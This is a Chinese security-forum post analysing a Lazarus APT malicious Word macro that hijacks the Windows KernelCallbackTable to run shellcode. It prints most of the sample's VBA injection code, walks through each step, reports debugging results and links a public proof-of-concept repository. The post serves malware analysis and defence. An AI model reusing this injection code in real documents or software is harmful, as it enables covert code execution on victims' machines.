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[原创]Lazarus KernelCallbackTable Hooking
发表于: 2022-2-9 19:15 6264

[原创]Lazarus KernelCallbackTable Hooking

erfze 活跃值
12
2022-2-9 19:15
6264

完整报告见North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign

 

该技术在Blackhat 2019《Windows Process Injection in 2019》议题中有提到：

 

image.png

 

代码(关键函数及变量名笔者进行了替换)：

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#If Win64 Then
 
Private Declare PtrSafe Function LoadPlaybackHD Lib "kernel32" _
 
    Alias "LoadLibraryA" (ByVal LoadPlaybackHDSize As String) As LongLong
 
 
 
#Else
 
Private Declare PtrSafe Function LoadPlaybackHD Lib "kernel32" _
 
    Alias "LoadLibraryA" (ByVal LoadPlaybackHDSize As String) As Long
 
 
 
#End If
 
 
 
#If Win64 Then
 
Private Declare PtrSafe Function WMvdspt Lib "kernel32" _
 
    Alias "GetProcAddress" (ByVal WMvdsptParam1 As LongLong, ByVal WMvdsptParam2 As String) As LongPtr
 
 
 
#Else
 
Private Declare PtrSafe Function WMvdspt Lib "kernel32" _
 
    Alias "GetProcAddress" (ByVal WMvdsptParam1 As Long, ByVal WMvdsptParam2 As String) As LongPtr
 
 
 
#End If
 
 
 
#If Win64 Then
 
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" _
 
    Alias "VirtualProtect" (WMVSDecdParam1 As LongPtr, ByVal WMVSDecdParam2 As LongLong, ByVal WMVSDecdParam3 As Long, WMVSDecdParam4 As LongPtr) As Long
 
Private Declare PtrSafe Sub memcpy Lib "ntdll" Alias "memcpy" (ByRef WMVdspaParam1 As Any, ByRef WMVdspaParam2 As Any, ByVal WMVdspaParam3 As LongLong)
 
 
 
#Else
 
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" _
 
    Alias "VirtualProtect" (WMVSDecdParam1 As LongPtr, ByVal WMVSDecdParam2 As Long, ByVal WMVSDecdParam3 As Long, WMVSDecdParam4 As LongPtr) As Long
 
Private Declare PtrSafe Sub memcpy Lib "ntdll" Alias "memcpy" (ByRef WMVdspaParam1 As Any, ByRef WMVdspaParam2 As Any, ByVal WMVdspaParam3 As Long)
 
 
 
#End If
 
 
 
#If Win64 Then
 
Dim WMPlaybackHD As LongLong
 
Dim WMPlaybackSC As LongLong
 
Dim WMPlaybackRadd As LongLong
 
#Else
 
Dim WMPlaybackHD As Long
 
Dim WMPlaybackSC As Long
 
Dim WMPlaybackRadd As Long
 
#End If
 
 
 
Private Type PROCESS_BASIC_INFORMATION
 
    WmScrData1      As LongPtr
 
    PebBaseAddress  As LongPtr
 
    WmScrData3    As LongPtr
 
    WmScrMeta1    As LongPtr
 
    WmScrMeta2 As LongPtr
 
    WmScrMeta3    As LongPtr
 
End Type
 
 
 
 
 
'typedef struct _PROCESS_BASIC_INFORMATION {
 
'    NTSTATUS ExitStatus;
 
'    PPEB PebBaseAddress;
 
'    ULONG_PTR AffinityMask;
 
'    KPRIORITY BasePriority;
 
'    ULONG_PTR UniqueProcessId;
 
'    ULONG_PTR InheritedFromUniqueProcessId;
 
'} PROCESS_BASIC_INFORMATION;
 
 
 
Private Declare PtrSafe Function NtQueryInformationProcess Lib "ntdll" Alias "NtQueryInformationProcess" ( _
 
   ByVal StreamEncdIn1 As LongPtr, _
 
   ByVal StreamEncdIn2 As Long, _
 
   ByRef StreamEncdIn3 As PROCESS_BASIC_INFORMATION , _
 
   ByVal StreamEncdIn4 As Long, _
 
   ByRef StreamEncdIn5 As Long _
 
) As Integer
 
 
 
 
 
Private Sub Frame1_Layout()
 
 
 
On Error Resume Next
 
 
 
WMPlaybackHD = LoadPlaybackHD("WMVCORE.DLL")
 
Dim KCT_Offset As Long
 
Dim wmorder As Long
 
Dim WMVSDecpro As Long
 
 
 
#If Win64 Then
 
WMPlaybackRadd = 8
 
KCT_Offset = &H58
 
wmorder = &H10         '__fnDWORDOPTINLPMSG
 
WMVSDecpro = Play_Encd
 
#Else
 
WMPlaybackRadd = 4
 
KCT_Offset = &H2C     'KernelCallbackTable Offset
 
wmorder = &H8         '__fnDWORD
 
WMVSDecpro = Play_Encd_Dcd
 
#End If
 
 
 
Dim WmEmptyData As LongPtr
 
Dim Ret As Long
 
Dim WMCreateFileSink As LongPtr
 
Dim WMModifyFSink As LongPtr
 
Dim capa As Long
 
Dim ProcessInformation As PROCESS_BASIC_INFORMATION
 
Dim KernelCallbackTable As LongPtr
 
Dim wmflash As LongPtr
 
Dim wmWnd As LongPtr
 
 
 
WMPlaybackSC = 0
 
 
 
If WMIsAvailableOffline() = False Then
 
    WMCreateFileSink = WMvdspt(WMPlaybackHD, "WMIsAvailableOffline")
 
    Result = NtQueryInformationProcess(-1, 0, ProcessInformation, Len(ProcessInformation), capa)
 
    memcpy KernelCallbackTable, ByVal (ProcessInformation.PebBaseAddress + KCT_Offset), WMPlaybackRadd
 
    Ret = VirtualProtect(ByVal (WMCreateFileSink - 16), &H100000, Play_Encd, WmEmptyData)
 
 
 
    wmflash = KernelCallbackTable + wmorder
 
    Ret = VirtualProtect(ByVal (wmflash), WMPlaybackRadd, WMVSDecpro, WmEmptyData)
 
 
 
    WMModifyFSink = WMCreateFileSink
 
    WMModifyFSink = WMCheckURLScheme1(WMModifyFSink)
 
    WMModifyFSink = WMCheckURLScheme2(WMModifyFSink)
 
    WMModifyFSink = WMCheckURLScheme3(WMModifyFSink)
 
 
 
    memcpy ByVal (WMCreateFileSink - 16), ByVal (wmflash), WMPlaybackRadd
 
    Ret = VirtualProtect(ByVal (WMCreateFileSink - 16), &H100000, Play_Decd_Rdh, WmEmptyData)
 
 
 
    memcpy ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd

首先是传递ProcessBasicInformation给NtQueryInformationProcess以获取PEB：

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Result = NtQueryInformationProcess(-1, 0, ProcessInformation, Len(ProcessInformation), capa)

PROCESS_BASIC_INFORMATION结构体如下：

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typedef struct _PROCESS_BASIC_INFORMATION {
 
    NTSTATUS ExitStatus;
 
    PPEB PebBaseAddress;
 
    ULONG_PTR AffinityMask;
 
    KPRIORITY BasePriority;
 
    ULONG_PTR UniqueProcessId;
 
    ULONG_PTR InheritedFromUniqueProcessId;
 
} PROCESS_BASIC_INFORMATION;

根据偏移获取PebBaseAddress进而获取KernelCallbackTable：

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memcpy KernelCallbackTable, ByVal (ProcessInformation.PebBaseAddress + KCT_Offset), WMPlaybackRadd

1.PNG

 

之后选择KernelCallbackTable中函数进行Hook：

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#If Win64 Then
 
WMPlaybackRadd = 8
 
KCT_Offset = &H58
 
wmorder = &H10         '__fnDWORDOPTINLPMSG
 
WMVSDecpro = Play_Encd
 
#Else
 
WMPlaybackRadd = 4
 
KCT_Offset = &H2C     'KernelCallbackTable Offset
 
wmorder = &H8         '__fnDWORD
 
WMVSDecpro = Play_Encd_Dcd
 
#End If
 
...
 
wmflash = KernelCallbackTable + wmorder
 
...
 
memcpy ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd

替换的函数地址是之前获取到的WMIsAvailableOffline函数地址，但其内容已经被替换。

 

实际调试过程中发现Word进程会崩溃(Windows7 x64+Office 2010 32位)，通过WinDbg附加进程，执行至如下指令：

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memcpy ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd

image.png

 

通过与原WMVCORE.DLL进行比对，发现该样本修改了0x2bdfb97f处指令：

 

 

image.png

 

执行memcpy ByVal (WMCreateFileSink - 16), ByVal (wmflash), WMPlaybackRadd时进行了上述修改。笔者后来在Windows10 1709 x64+Office 2013 64位环境再次调试，发现可以执行Shellcode：

 

 

后续行为都在North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign这篇报告中已经写到，有意思的一个技术点：

 

image.png

 

References


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erfze
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POC:
https://gitlab.com/ORCA666/kcthijack

最后于 2022-2-9 21:12 被erfze编辑 ，原因：
2022-2-9 21:11
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